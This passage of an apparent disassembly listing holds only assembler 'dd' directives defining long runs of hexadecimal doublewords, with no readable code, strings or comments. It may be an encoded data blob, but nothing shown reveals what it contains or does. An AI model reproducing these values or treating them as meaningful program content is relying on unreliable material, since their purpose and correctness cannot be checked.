0BB35E9ACh, 93FE2EF0h, 8239352Bh, 0C138C13Dh dd 1405FEE4h, 0AB06B353h, 2DCB4432h, 1378B9BAh, 5AD70102h dd 98BF921h, 5005722Bh, 0CD6DD84Bh, 1A4F343Eh, 65E5848Dh dd 0FB0186BAh, 0C840D851h, 0B112D68h, 57495CD1h, 6862D9FBh dd 61807C1Fh, 205D5855h, 0D94CAD05h, 77E4D3DDh, 31554097h dd 0AA35EF77h, 0E2BBE548h, 10A2587Eh, 0C10B6B4Eh, 0CE0412E8h dd 50550094h, 5840585Dh, 0E74D7395h, 96A80A14h, 4AE94E8Eh dd 6FF22300h, 784ACD55h, 0C84E18ADh, 5697455Fh, 685F4117h dd 3E133F41h, 4EBACBBFh, 40D1F5E4h, 4C05BAA9h, 5320030Bh dd 8F1D180h, 822B5F9Fh, 0CB85D13Ch, 6B20E137h, 0CA4A07F7h dd 286A10E4h, 4BF7433Dh, 9FA7FC3Fh, 260FE583h, 0AF47E73Eh dd 9BEF160Eh, 0EFE91602h, 6FD34085h, 0A239F637h, 0B967F792h dd 58221C2Fh, 3B895AFDh, 0C9848729h, 21B0167Ch, 0F32F1276h dd 96E1A845h, 0A08C91AFh, 54F9147Ch, 0E5545E89h, 223DCE82h dd 0F6C9C0BCh, 4E169828h, 4081F156h, 972666ACh, 4B0E3258h dd 0CD312A04h, 7BB2F1AAh, 0FED929B0h, 0A4725A28h, 0A9C42901h dd 28AA9EE2h, 0F00BF1F7h, 55FF2BF4h, 21A2441Ch, 0FD884FFh dd 0A9B5CC0h, 302A4151h, 0DE98F26Bh, 0E9CE970Bh, 5828C1A3h dd 0BA12F130h, 525B3F66h, 5682A517h, 55ABDF3h, 40D8691Ch dd 0E9A3C0AFh, 30CB9C43h, 0F3E700D1h, 7D2867D4h, 9F052747h dd 3E5A85E9h, 5F3F88E9h, 0BEF52E16h, 4E7EA8CBh, 4A200EFAh dd 0B4EA35C4h, 1D19CDD3h, 9D667A8Ch, 176C12D0h, 0A433D8E9h dd 742825C6h, 0EC20F467h, 0D97295A5h, 0C827E56Bh, 803CD7F8h dd 51484859h, 0EC9057Dh, 13D42DB0h, 0E85BF8F8h, 0AC7F1D08h dd 5008BE93h, 400D0130h, 6E7C0A12h, 0DA255580h, 24AF2522h dd 0E00545C0h, 7C4B5CFAh, 0CBF136C1h, 1218CA6Ah, 84F77EC9h dd 0B2032D7Bh, 646E3149h, 6B0F0528h, 4665A540h, 0F4D6AF4h dd 20F68EEDh, 6015EC36h, 9F3E7FC6h, 0CFA9028h, 3339493Ah dd 180D7E0Ch, 2A31C9BBh, 0BF560C30h, 2182D4F6h, 5D5B8575h dd 3143677Ch, 5BF193CEh, 0E420508h, 0C232BEB5h, 2DD8F622h dd 0ACA28F1Ch, 9408CA08h, 0B170E3C1h, 63A8238h, 5E5D67CBh dd 0E911B0E7h, 4E9D7B86h, 0BC17CE9h, 4CF0680Bh, 0F68B6F99h dd 4B98FBDDh, 5F6952D9h, 299B028h, 49B42982h, 0D0E2F789h dd 607CAD00h, 0EFEC6D0Ah, 0B3475909h, 0F1A8576Fh, 605D1708h dd 224A68E0h, 0AFC04CABh, 444FF369h, 4D96E707h, 7F2D0C50h dd 3E092845h, 6036E887h, 0BCE3749Eh, 9D90C142h, 4F3DE20h dd 71A1D68h, 0BF8B87Bh, 824258C9h, 0FFBD309Fh, 826BB394h dd 1C945717h, 2F2617B7h, 5DC5B25Fh, 1D09A779h, 224E7F7Ah dd 62485195h, 0B0C68D64h, 0BFF58AF0h, 91471697h, 0B96E53E1h dd 3BADE47Fh, 8C6C9717h, 546A51FAh, 0B52EACD7h, 0CBAB4A3Fh dd 78B9D3E3h, 372E6809h, 0B462905Ch, 0B5CE7552h, 59EE916h dd 68280AA2h, 5B419829h, 5D4B22D9h, 80E8EE57h, 305CD6D9h dd 6F0C3B2Ch, 274A7321h, 81A8794h, 0E914010Ch, 68323D89h dd 0C77A2A04h, 0B1C4C422h, 872E6B98h, 0B841AA5Eh, 85D6E918h dd 1B82287Eh, 4EFED44h, 0FD2BB6AEh, 0B42AB831h, 0EA5C04C2h dd 0A750F45Ch, 7BEA91E8h, 0E79031F0h, 4F3BAC13h, 26835206h dd 0BCB23C3Bh, 0FEFA4B12h, 78F86FD1h, 0E52D5A00h, 3C1541Eh dd 0F6C74FCBh, 1FBC893Eh, 4B98DDC4h, 72661027h, 16C27785h dd 0BB137245h, 0E23E1ED9h, 0BBE98220h, 602C86B0h, 0E55D4B99h dd 41F47A4Dh, 0C8E00B0h, 34D8F6F4h, 0C34F2090h, 977E06B0h dd 3DCB4EC8h, 813E3ECh, 71A826E9h, 0D8E1604Ch, 54C00457h dd 9E84408Dh, 0C99B0B13h, 94E1879h, 4144DEBAh, 2F06EE68h dd 0E42B548Dh, 0F95BE9F7h, 0EFFA784Eh, 0EB03D121h, 6CA20144h dd 3052C399h, 0CFE80EE9h, 9BA3B3Ch, 7EA87153h, 8A422DD4h dd 728404FFh, 0E71098AAh, 30BE834Eh, 2D716806h, 337E597h dd 5E8EE95Dh, 0ABE6EB84h, 0D94BD618h, 0A1C07949h, 61772EEh dd 0B2B7F639h, 82D69769h, 0AE8CD27Eh, 2C2E48B5h, 0DB29E9F8h dd 0ED63B1BBh, 0EF170317h, 16E022B0h, 0FBB5C5DBh, 92B75B4h dd 574ED65Ah, 0CD278E6h, 0F75763ABh, 71319DFCh, 0E06A6058h dd 0A443C74Fh, 3BDEF606h, 0B409800Bh, 25621EE9h, 86314FDDh dd 1F4814E9h, 8B83EB1Fh, 0E901C917h, 4B4912CCh, 8236B37Fh dd 0F70B212Dh, 827E14E9h, 0FE10EF6Dh, 0F004F5D6h, 0AE1392h dd 8921165Ah, 0CB018117h, 6FCD4186h, 4BDACFE9h, 2EF6B192h dd 5B40B22Eh, 0A658D0B8h, 0F72F5720h, 56CC25D1h, 0A54AEEFCh dd 36EF2061h, 30DD4D12h, 5FCC3611h, 5AC4CEFh, 261292DCh dd 0C7ACCAF9h, 3F920D3Dh, 0BD3A018Ah, 6B6E70CBh, 0D4017213h dd 435B2E39h, 0C908D364h, 8C030306h, 5E2451FDh, 0B7A62B5Ch dd 614EF400h, 622D3Fh, 251F3A6Dh, 26320249h, 2AB1E912h dd 8BC45FE2h, 5272BE1Ch, 818E0921h, 59277648h, 92C049B6h dd 0BC55648h, 0B1E93074h, 11B6E77Dh, 0E913240Ah, 82F8CFD7h dd 34D4A5E5h, 0D17968D8h, 74FC999Fh, 0E974F07Bh, 278B7D24h dd 0B69DD953h, 7AC33001h, 0A21538Dh, 0EB9944CCh, 0E366256Ah dd 0B1683BECh, 3D4A477Ah, 0DE17FD32h, 82CDBBBAh, 0D78AED7Eh dd 4C4BDABAh, 2C490564h, 0CD001CC1h, 7A7E12E9h, 1D090935h dd 87DD42D2h, 92D3412Ah, 0AC6C5A80h, 70631073h, 92B98950h dd 0B2AC4B9Eh, 0AF05D25Bh, 89CBCD9Fh, 8872CC12h, 40F257B2h dd 0BE273B5Ah, 13BB4284h, 0A0C6ACC0h, 99051168h, 0AFCAB0C6h dd 3401C437h, 6A5DC981h, 0BA933EFFh, 7E8EE1F2h, 3EE1C2BCh dd 0D59EAEAFh, 0B2033924h, 0C807E479h, 56B868CFh, 8E0BF43Ah dd 3507A36Eh, 5C17384Ch, 1DA51413h, 0D61AF2F3h, 33054FF8h dd 0F039AF1Ch, 0ED948304h, 0C55AD0FEh, 2A3B4276h, 84F5036Bh dd 40A0224h, 0F2461518h, 0CC040141h, 407E8B37h, 3F18F39Bh dd 0E4FF74C0h, 8C1F9D7Dh, 0BB6C53FEh, 3B23A905h, 0F8B021EBh dd 295F0126h, 201A40DAh, 67832639h, 4132285Fh, 5CF67FC4h dd 4B038B5Ah, 0F7882FE9h, 7BD3C12h, 55A9BC4h, 35BF0968h dd 402513A0h, 2100D46h, 50743F5h, 280AFD11h, 0DE85BF4h dd 19C26F81h, 9826BD0h, 37B2D501h, 97AECC5Dh, 0CD37C622h dd 0CB267457h, 0FDCC89C0h, 8B7FDA89h, 0D95E2F50h, 0E66861DEh dd 86617867h, 3F2C478Fh, 515D231h, 533C0E77h, 53C8A1BFh dd 0F102B2D4h, 400D4C19h, 9B146BF5h, 58ECBE07h, 6E812D94h dd 3B7AA02Ch, 0B2074784h, 11953854h, 0F25A6BDh, 7B5535E2h dd 58E9C2ABh, 0CCFD82F0h, 453D8813h, 4CABBF5Ah, 0B0AAE40Ah dd 192F7815h, 8226FA67h, 5683C007h, 58B08655h, 75D9762Dh dd 5F2D3B90h, 0B0DA4B9Fh, 7CEC19E4h, 0C55D3047h, 0BF54C2E3h dd 7BBA507Ch, 35526831h, 2B2C06E9h, 974A35Eh, 0F53B8C68h dd 0BD66B61Ch, 2D1C2018h, 0CADB8BEFh, 1C02E984h, 0BE5E54B3h dd 0E909FA2Bh, 987E25DDh, 14E438C3h, 0CBDBF7EAh, 137A9102h dd 87220906h, 6BD1DDCCh, 2918C5C8h, 4A0CD6Fh, 0F75E203Ch dd 4C02B8D5h, 5E102FCh, 0D7094FCBh, 0B202A7F8h, 299F3977h dd 0F6E277EEh, 0B3274646h, 10D2798Fh, 0E9107305h, 8927D720h dd 5E5AAB7Dh, 928AD08Bh, 22EE2ED6h, 25FAB2C0h, 0AE42ED05h dd 59ECFB4Bh, 60C1BC4Fh dd 383319C0h, 9B6C90Bh, 3F3528Eh, 74D48544h, 0E648B8FDh dd 2997405Ch, 5425D177h, 257BC66Fh, 0E2797DD5h, 7CB7773Ch dd 825A4598h, 657839D1h, 5489D0A7h, 5B35F7Eh, 3FC57DC2h dd 68EAD98Bh, 80A1303Dh, 0C2B6852h, 0E601B167h, 0DE3070B6h dd 4687B06Bh, 0B6E5C028h, 0F857C525h, 18C09797h, 0EDF65BFDh dd 0B652DB03h, 5A1EE96Dh, 12FBFD65h, 63A44BD4h, 30E1E5Ah dd 0C570D202h, 0B2C0FBE0h, 1FA696Dh, 67F6810Dh, 7F219139h dd 9C4331A4h, 0B8BB030Ch, 0D1E91022h, 7DA70E3h, 91E94B13h dd 60050A43h, 5016E808h, 0BB580259h, 0ABE0CE8Bh, 0CE087F6Ah dd 843542B9h, 0B8EB8309h, 2D4003A2h, 0D3D09B0h, 543ACDA8h dd 78CB134Ch, 0E2C04828h, 7DFB7F5Eh, 0A3F09BB4h, 41D08228h dd 0A56629F2h, 0AA05B316h, 7FE9AA02h, 0C2455648h, 32AFA457h dd 7A6BD04h, 94F2D731h, 50B476C8h, 68BDD190h, 82C3F23Eh dd 0B78BC82h, 2B14C220h, 5F530FA9h, 0B7CBF201h, 62BEAA60h dd 3186B12h, 0E9C595B8h, 283EF016h, 2C72D0B0h, 0DDF9E8E0h dd 71533A8Dh, 8E524453h, 3A521213h, 982C29B9h, 12B88535h dd 0E8E88421h, 42405B19h, 926456C5h, 13017646h, 0C0D0E951h dd 156625D3h, 1279843Dh, 8564D20Eh, 77AE7BC5h, 0D27BD47Fh dd 4F5DD94Fh, 8CA53A65h, 70FEED48h, 9F954EB5h, 70E5ECF8h dd 995F6C73h, 0C7C03264h, 4B197566h, 4D7F9817h, 0AC61118h dd 4EEB278h, 0B5E9F539h, 82CF91A3h, 0CF0B3862h, 0C50351BEh dd 0F976EEBBh, 6CE4F3D9h, 25E6905Fh, 0A91FD90h, 9BA63E96h dd 6B720A78h, 0C195948h, 0C9597067h, 45540C0Ah, 389D8627h dd 3C0C3B58h, 0E6DD17FBh, 0B291BB29h, 0D16B9943h, 2EAD7421h dd 0A1C38A6h, 947F2543h, 107C5971h, 98E2A02Dh, 0BAAD6775h dd 22E197B8h, 6E88652Ch, 5B7B52CBh, 0FADA98D7h, 79A302BFh dd 277D6D5Dh, 0E7600AF9h, 0B856272Eh, 6C90B529h, 1A27B1CBh dd 44866041h, 6DA53562h, 240E99Ah, 473FFCE7h, 79F5E04Ah dd 7DAE1640h, 3F60E131h, 0E9C2318Bh, 39D56427h, 0C8AD58AFh dd 0F45710C2h, 0C8BBE0B9h, 69090156h, 89C1D3F7h, 712B810Fh dd 0CB418A30h, 0A780F11Ch, 0E77ECAF5h, 0F5F989EFh, 508D2CA3h dd 0D07D325Ch, 978CFEAh, 0AC3FEF24h, 252D8908h, 0E51D4075h dd 0AE90C966h, 31ADF4E0h, 2C1FD84Ch, 5C4BA1C8h, 69AC0718h dd 9EABFFB8h, 0ED24C9FAh, 52654377h, 0E914D8FBh, 706D0538h dd 957F1EBDh, 1BE32776h, 0E9468176h, 0B23FB6D5h, 97688463h dd 34E989B0h, 0FB0A9CC7h, 0FCE2AE97h, 0F7FFB01Ah, 494B0641h dd 0B50DF1E9h, 262DF798h, 9D259425h, 9E160202h, 0CE23807Fh dd 0B078BC42h, 849A490Bh, 1505B16h, 0D90E2252h, 71F0DF46h dd 215BF50Dh, 5B4C68BCh, 0B97D8B07h, 36EE6301h, 89255DB0h dd 53B82095h, 12168E60h, 0AAA4AFE9h, 0B3053139h, 955A2DB6h dd 7198AC5Ch, 6B717312h, 0D5B8DE80h, 0BD9213D8h, 4CBECB29h dd 5A1E4D58h, 25162AF9h, 1C1DF3A9h, 5F380FF9h, 0FC8448E9h dd 42530CA5h, 0CC0CD2A1h, 79BDD7AFh, 0E8BC120Ch, 8CA35EF5h dd 2F556F7Bh, 3511F760h, 894F6A0Ah, 59CAD804h, 0D8D93587h dd 0EBBF0CD6h, 0E77A2A02h, 0B5148F63h, 70A1BA7Ch, 0DE3505BDh dd 0C23A533Dh, 5FE4B42Dh, 0FF06505Eh, 0F852FE29h, 84688022h dd 5DF83F0Bh, 0B949F65Fh, 0BBF07B8Eh, 0B955C116h, 42BF0084h dd 30B8300Fh, 344E3924h, 0DB86160h, 0B0CF83C1h, 295F2774h dd 7BA5CB45h, 0E6A549DAh, 4F36931Eh, 17415E04h, 0D1AA77B3h dd 6F53D681h, 4B38468Dh, 476B0B0Fh, 0EA360CE4h, 0F7ED495Fh dd 24DA9C9Ah, 0D7CADD2Ch, 0A6D988Ch, 681DCD5Eh, 4FC712CAh dd 85AD8CAEh, 0D8A07E27h, 0AD8B859h, 45EE80D2h, 29E439BFh dd 0EB294471h, 1C0904ABh, 73A3829Eh, 55BB9BE8h, 609B4C1Eh dd 7E3AB7CBh, 54DE67DCh, 0B1E8AFF1h, 1327E9A8h, 88A9F9F1h dd 0FC27A798h, 0ED4804C2h, 0CE40BF03h, 0A1F0E626h, 0C1218031h dd 5C55848h, 28241DC9h, 0E1ED6384h, 189EEB03h, 0ABDF3C09h dd 0EF1CAB51h, 6B76AACFh, 0BBFAA8EBh, 0ED4E5403h, 7E220540h dd 0A823AF27h, 59AC0EB6h, 0DF892426h, 3189EBA2h, 70697471h dd 35760F5Bh, 0CDA13685h, 3EE35F2Eh, 40147201h, 0C824957h dd 3DEB38A9h, 358FBE2h, 66E6B201h, 0B1515350h, 3A2AD370h dd 996CF30h, 0C89AEE9Bh, 3BECE90Bh, 1E25445Ah, 50BB747Bh dd 6D12C9C6h, 0ED1C731Dh, 0C7313BA0h, 81EB03AEh, 4927DFBFh dd 0AB34575h, 60D0E131h, 0C6164868h, 404B2A7Dh, 2DBE3800h dd 0F4093F45h, 2F37BCA5h, 0C30FA6F2h, 0F25174EDh, 0E9BE9CEBh dd 2FD23535h, 0EE6F82ABh, 257E6F75h, 0CF1F2EF6h, 0D926D062h dd 0E841960Eh, 6BD4BDE0h, 315A0528h, 408F51F0h, 2EED5345h dd 0FB4612EFh, 8B6E8A39h, 7FDF042Ch, 0FDAA4655h, 0FEA0601h dd 90C786Ch, 57307392h, 8912B974h, 97798AFDh, 9876947Fh dd 95D6F4B7h, 4A06B3DFh, 0F789AEF3h, 50EBEA04h, 0D727EAFBh dd 15D096F7h, 0A571B368h, 4E41F025h, 0DE407B05h, 0AFFB355Bh dd 0A0544B52h, 55915353h, 5F18E368h, 0BF26ED4Fh, 740B2599h dd 2881BB1Dh, 0D04B822Fh, 0B0A63055h, 0C7344CA9h, 0EFACC516h dd 0E34048D9h, 0B0FC36A9h, 3D9A2D7Ch, 3A2D8119h, 4E8F2313h dd 0FF02E91Ah, 0D22B51DDh, 0F7C11856h, 8D6A53F9h, 0AFA66036h dd 40E110E5h, 0FE30A18h, 2DBD1F7h, 39F57803h, 9D2860DDh dd 93C9B5BDh, 5FC1AD96h, 6C4A5494h, 0F743D4C0h, 0B0E2B8DBh dd 62A20218h, 0F3213F90h, 9361ED8Eh, 2550D513h, 54852F51h dd 1F7B84AEh, 0F8A6BA96h, 0A9E2135Ah, 0BA520173h, 4F977183h dd 967311F0h, 0FE306211h, 0D08CFF0Fh, 3F800CBCh, 82197AF5h dd 70B94506h, 3F2619B2h, 55725929h, 23136FA8h, 6E0BAD11h dd 205994D7h, 0C2956A5Ch, 2FC557F0h, 0FE2723A8h, 76927575h dd 0AA825FF2h, 3D1053FFh, 0AC6DA493h, 652ACDFBh, 39C5A900h dd 0B4554E85h, 11CFCAEDh, 0C2EC3701h, 2AF352CAh, 0A22D055Eh dd 0B9C80FE5h, 35200BE9h, 3A1907E7h, 4607548Bh, 510B868Dh dd 0F661D168h, 8F167AD0h, 4668500Bh, 880A5923h, 0D42844A5h dd 0D3555h, 765521E8h, 0B0801864h, 2DA22CBAh, 69375109h dd 1BD5850Bh, 0E6D853ECh, 7B97015Ch, 2F6DA8C6h, 47EC7F2Eh dd 0D3776D2Fh, 0E6A43A79h, 0ACE58F14h, 0FC114A05h, 0A3AAC1B7h dd 0B12F869Eh, 0D0313F01h, 0FDD55F56h, 0D247A92Fh, 0E338B104h dd 0AEDD8704h, 0F53A61D0h, 31651755h, 4D20BFE9h, 5A28BDh dd 0F581390Eh, 7AE223D5h, 7673729Dh, 43EC2D01h, 9181C5Dh dd 3DA0685Ch, 9889479h, 1B923E1Ch, 920FE21Ah, 40C128B4h dd 34A68A4h, 27425814h, 2F095180h, 4073907Ch, 1308F378h dd 0B3D4Ah, 0B678BBA8h, 7ABFF4C2h, 0DC80B5E3h, 220C7256h dd 0C650F990h, 63B55807h, 4E7510EDh, 0DA871326h, 9E31170Eh dd 0FFA119CBh, 0CF241144h, 0C1C9BD59h, 326E2DF0h, 429CFD0h dd 6F842C2h, 94F7B902h, 3141C0C2h, 4931025Dh, 162EE44Ch dd 0D130477h, 95A91783h, 2727E10h, 60083E68h, 6B3F563Ch dd 0DF188957h, 6580BD4Ah, 714D3D50h, 0DEB7DAF4h, 0D14AE19Bh dd 74097BE2h, 5D46623Ah, 68E190F1h, 0EB4D0BD4h, 3DAFF840h dd 0B81A1A9Fh, 3C10BABh, 0F97E5Eh, 0EC34518Bh, 45A3C30Bh dd 950A7062h, 1834B55Ch, 0E9C8E0AAh, 2A4575FFh, 908384CCh dd 5712C145h, 2B5D5405h dd 620BC8F9h, 0AA5F7167h, 3E0BBCC9h, 0E6BE9022h, 6E69D04h dd 0FB31E095h, 40FE9CF2h, 108D6857h, 2D4C473Fh, 7D988967h dd 0DAF268F8h, 658D295h, 15551DF2h, 10030C7Fh, 0E90D209Fh dd 96516460h, 4B0EFC06h, 1E7AE2Ch, 2949D7DBh, 70315EF5h dd 0D54BE957h, 66051C82h, 0C1235E34h, 7ADE280Eh, 12778A9h dd 0ADCDA475h, 784AB0BCh, 933E982h, 0B1AD3CC0h, 442B16C7h dd 95B6D2DCh, 906D1210h, 511BF7CEh, 0E8018D2Fh, 95ABE36Bh dd 91D28898h, 1C0FD0ABh, 64B8FCB9h, 0C5A94B37h, 0D17A1E07h dd 911CB36Bh, 0C480160Eh, 58E707A8h, 0C9866F6Eh, 4219C153h dd 0CB038420h, 0C9D4EBCDh, 0BC4B82A0h, 524DDCABh, 0D309DD97h dd 0ED145F7h, 0FE1669E1h, 95525F38h, 0A0F8147Fh, 808F05E4h dd 31630C68h, 5725D4Bh, 7F20EFE9h, 0C79000E5h, 50E7286Fh dd 83B8529Dh, 141C4108h, 470D096Bh, 5B7F4AD8h, 0E369F495h dd 0A8B429E9h, 7845DE7Fh, 85AE578Bh, 0AEF3BFC2h, 808AFE4Bh dd 6A367299h, 0C810D5A3h, 3F681CDDh, 575AC566h, 0D350B482h dd 4FB84EFBh, 96CA6359h, 3E4A3013h, 412731FAh, 68F23B70h dd 3EBB149Fh, 0AB13AD12h, 0A458E563h, 801DB700h, 0C007CACFh dd 0D7F604E7h, 5D44A98Eh, 9E3FB666h, 58542E52h, 0D712B42Ch dd 5E7AA8B6h, 0ABA11210h, 0CF2EABE3h, 0A65B975Fh, 0EF681397h dd 0BEC861BBh, 328E2F65h, 9D7DD540h, 0BF1D8F7Ah, 10E3F92h dd 9006F2FEh, 271CA7D1h, 0BB91055Ah, 4C776C4Bh, 0D13D7628h dd 82C612E3h, 51F0EA41h, 0C8C052B1h, 17042D59h, 482C4F98h dd 41226660h, 0B79AEFE9h, 8BF29323h, 34AA0A81h, 0D64E684Eh dd 0D36CE8h, 0C227498Bh, 45FA5808h, 0F8FC0DDFh, 0E92F65B2h dd 206D0B9Fh, 0A5BD552Ah, 70563F34h, 68C5C378h, 0CD1A2ED0h dd 75E3B30Eh, 9AA1F7E4h, 1D2F111Fh, 342A8B3Eh, 3FF8DE01h dd 9176E9C4h, 0DC575A51h, 90BE9F4Dh, 4864FD89h, 3D4ACA2Dh dd 0C99329BAh, 0EED5357Ch, 55218DC9h, 0C42F2EC0h, 0CA9D4C3Ch dd 0BF570286h, 60786AC7h, 80E12AEBh, 7B95EA83h, 52554993h dd 0EA811DF6h, 30ACC158h, 4D036168h, 1BEE30B3h, 29ABB1BFh dd 955BBC6Ah, 15CA4E2Bh, 0E6303D4Ch, 1276F561h, 8906DA12h dd 152FF2EBh, 5FCFB7C0h, 4864B806h, 2EE17F7Dh, 47399C20h dd 0C15DFB02h, 0F33E5C9Eh, 0B5CBA14Fh, 79DFA905h, 0D993382Ah dd 794EE5Ch, 4BCD7A03h, 54BF176Fh, 0F5031466h, 68720104h dd 0A2FC03E2h, 0FB7DF66h, 63696C05h, 0CC58FF74h, 31E90840h dd 3024C221h, 0EBDD6EE8h, 5B0144F9h, 0E0B07FD1h, 149716A6h dd 0AD12FAFEh, 0C4A7A2EAh, 98BBCB89h, 42974EDBh, 0DD37D7Ch dd 6D226861h, 4CD9DFC2h, 55D56689h, 62009CC4h, 81684119h dd 2F0158CAh, 0EC690C38h, 0AA805617h, 45729A09h, 40D00053h dd 0B75BE551h, 0C517B878h, 90BBC044h, 0A92DC3F1h, 13EBE44Eh dd 134EAADEh, 7F9053h, 3D4154A1h, 776E1B0Dh, 0BE01357Ah dd 0E9893936h, 0F12C9EB8h, 4F23B892h, 75D427A5h, 395C2427h dd 7D610BF2h, 2C385969h, 7F2099Ah, 0CA4255FBh, 0F2269167h dd 0F84B134Fh, 3E587858h, 50004C35h, 820D0549h, 6997285Eh dd 9FACEBAh, 9776E482h, 0FA5E10F7h, 7CA27B71h, 0F9F49D6Dh dd 0D15377C9h, 0E9FBD6AFh, 0BBB9F1A0h, 2F7AC146h, 0EE849A2Dh dd 97B3F628h, 0C245FC85h, 0BE001FFDh, 48EB0684h, 0DE026760h dd 3157F0A4h, 0C401A942h, 0CBD21C44h, 16FF0C4Ah, 72F40C0Dh dd 600BF2BFh, 4569E2Dh, 5F07890Dh, 0AD5D7421h, 0F67F84F7h dd 0B413D514h, 30C8FBB1h, 2914A9EFh, 0EA26176Eh, 6913B02Eh dd 0D39B297h, 0AC2A3F59h, 4D03EBF4h, 0F079FFD7h, 1B5024D8h dd 55980B7h, 2E5F405Eh, 393F2D5Ch, 0E84C7DF0h, 5C8125A4h dd 8774EAD7h, 9324668h, 0BA957B7Fh, 0FA285792h, 5F4F2ACCh dd 47D54248h, 0E8C0B94Dh, 0C69DE38Dh, 7BCF2717h, 765A7971h dd 0EA6A4406h, 242C098Dh, 0A6659412h, 756C6258h, 3C105A6Bh dd 11AD7B9Dh, 2C5EB84Ch, 0CEF671EAh, 9368261h, 60835FFAh dd 5B85045h, 7DF87ED2h, 1918129h, 4AB60D5h, 0F7F2455Bh dd 34E921D8h, 0AD2C3F41h, 0C990E51Eh, 48601335h, 7B78008h dd 0F0629A7Fh, 822CC147h, 7A1EB63Bh, 4E27262Fh, 0C98102F0h dd 5AC5672Ch, 60205857h, 6E61659h, 0F1EC2907h, 0C8A2920Bh dd 0F941DFB1h, 56E46AC6h, 0E9DE0B01h, 771AA09Dh, 25CA1675h dd 0CE0B2DE9h, 5E2A16DDh, 1070BE2Ch, 0C5465168h, 0BB6544BBh dd 8E5024B6h, 792BC40Fh, 1D0A33Bh, 3CBD0EACh, 9F30E6C1h dd 2F7C9CEFh, 0DB398256h, 0E93F94C9h, 15A6C72Ah, 0ADC4F70Bh dd 9560E820h, 34A99CD7h, 0AF208AE0h, 0D0126AA8h, 7A9CA760h dd 1BCC5A4Fh, 0D900105h, 0F0292F0Bh, 0E907412Dh, 48F67881h dd 285550D6h, 66BDDAACh, 712F20E4h, 0EF815698h, 2EE225BEh dd 0ACBB3E24h, 12DA3DF0h, 0B2BB777Dh, 68598162h, 0AF666E74h dd 0F41010h, 0DC110BBFh, 0B0FE2972h, 63EE4801h, 0F06A0B41h dd 9869713Fh, 0B213094Fh, 79F68483h, 515EE902h, 5BF3B9D7h dd 48D2A330h, 5DCDE7E1h, 21C7611Dh, 0DA82E39h, 2279E84Eh dd 5344C96Ah, 9D70465Fh, 87851F76h, 85059227h, 0A74B62F1h dd 8F0357D7h, 16EA263Ch, 0B0B09863h, 8924D218h, 1514ECF8h dd 0CBAD7B6h, 0BFDD1EA2h, 260BFF09h, 2E3204Bh, 2DE97537h dd 16F2F35Bh, 0FD49BCEEh, 95FE3734h, 0D501BDA2h, 0D3D079BBh dd 274A4171h, 0E30DD4FAh, 0B7E91269h, 0B0FED6C5h, 501C0798h dd 623B3CB4h, 575158F5h, 0E9E1345Bh, 942AA8D3h, 2012802Ch dd 0EC90EC63h, 2A40C304h, 0AC9C28EBh, 0ED934B8Dh, 3DE9B0C0h dd 82EC970Fh, 90872820h, 3EF21C0Eh, 5EAC22h, 0B49E44EEh dd 0D3B68918h, 2127C0C8h, 8E7C1B8h, 0DE7C9D20h, 16DC4447h dd 5861E81Ch, 4CCC1288h, 34BE07FEh, 0AF4E150Ah, 4245426h dd 43CD5ABAh, 576A8289h, 94D5E541h, 9E9AC3FBh, 544A45C9h dd 9878B979h, 4C877CAAh, 0F077549h, 0C2AC88CAh, 5BDDA79Ch dd 0BF541779h, 9FA2C34h, 517D8D16h, 78FA86D7h, 0CB0C88D4h dd 20714EE9h, 1EBA05BDh, 27291369h, 5EBBF3F9h, 22F01E4Fh dd 0B53890B9h, 0F8AAB0C5h, 0C820A620h, 20A59E3Ah, 9C25A782h dd 6BBB0F16h, 0E153552Dh, 6DB43B7Bh, 96E92702h, 0C028F442h dd 0F05D5231h, 0C97BB518h, 0BB0CF42h, 0B98ED376h, 0E0694B6Bh dd 3E1E1171h, 0CB83088Fh, 24CA2357h, 9C4F1801h, 58E9EF42h dd 0F3A9C42Bh, 0CE8BDADAh, 21FF2EB9h, 2D874002h, 5BB6163Ah dd 0C4038626h, 5449C3Ch, 6D27520Ch, 6A05EE78h, 0A2EAEB17h dd 969D7B38h, 5AF09022h, 0C7E04945h, 79272254h, 94364539h dd 0D7C8C2C2h, 9BD40E8h, 6C737D16h, 0F10F97ABh, 30747868h dd 20F8FF7h, 0A0463D98h, 0C85A95F6h, 678BB573h, 0C45FDB1Ah dd 0D298202Ah, 5F39FBFCh, 0CB2D029h, 7054713h, 6CB1AFECh dd 45FD6E68h, 0BE6BFC4h, 16C0604Ah, 877E8210h, 2B7D0259h dd 0E9C5662Ah, 8410BA39h, 7D7D7775h, 0D828ED1Fh, 66F0767Ah dd 0D4B2521Fh, 0D01E299Fh, 3BAD4ABAh, 6E62FACBh, 2D99C67Dh dd 0E8466568h, 1292BB3Fh, 3B0118D4h, 300E7329h, 945F6000h dd 0DA64277Ah, 72C864C4h, 0C122E03h, 0FD783B4Fh, 2DEF0844h dd 68908494h, 9ABA1FE4h, 0C4F65E30h, 1127FE5Ah, 0DCF279A4h dd 29BA5201h, 6035474Eh, 502D604h, 0DBE90BA4h, 0D1F7037Eh dd 0C66D9248h, 0D21604E1h dd 81FDEC04h, 0A25E747Fh, 0CE88EDE0h, 413F5A2Ah, 0AC0F22F2h dd 8E563029h, 0C7F55C60h, 4AB2448Fh, 5BAFECB0h, 0B5EB26A4h dd 5E4C1052h, 0CB9F1248h, 82CFA2EEh, 400608EEh, 9583625Eh dd 0F0F4604Ch, 9A3EFA95h, 6A91275Ah, 76A2A9FDh, 400C82A2h dd 40553F83h, 828AB06Ch, 0F20960F7h, 5E78F41Eh, 2496E2C4h dd 0A310AE56h, 0D78AF75Ah, 0B00FE544h, 3023F6FFh, 1B683CC1h dd 41DB972Dh, 269B7A8h, 0CC527555h, 74E55B59h, 0D95A8077h dd 0C5E746D1h, 0F2245E8Eh, 104A643h, 0EA6045DFh, 306C5521h dd 9B002331h, 12CE2DB4h, 4F1CE923h, 622766CDh, 615E4713h dd 8D5AC005h, 8761714h, 4698832Ah, 5D908CEDh, 9527557Ah dd 7AAD6879h, 34659FFBh, 0FB2DD25h, 35454877h, 5447095Ch dd 4ED64C01h, 0E9050C68h, 0F7ACABDAh, 817E45A1h, 69D2C749h dd 43BBF5Ch, 0FEE2A181h, 7C7C06A3h, 84EF2AE8h, 0AD595A85h dd 0A333C4A1h, 97E231BEh, 0F75C02EFh, 92A4F4E5h, 0D4300C1Ah dd 14406F1h, 0F7183EF0h, 5486315Eh, 32D3B5ACh, 7C680830h dd 16989778h, 28C2C36Bh, 0D85AF188h, 0D265F662h, 0C2A201BBh dd 0CA8B1DF9h, 8E26AFFh, 1005A808h, 0F0AE7B6Bh, 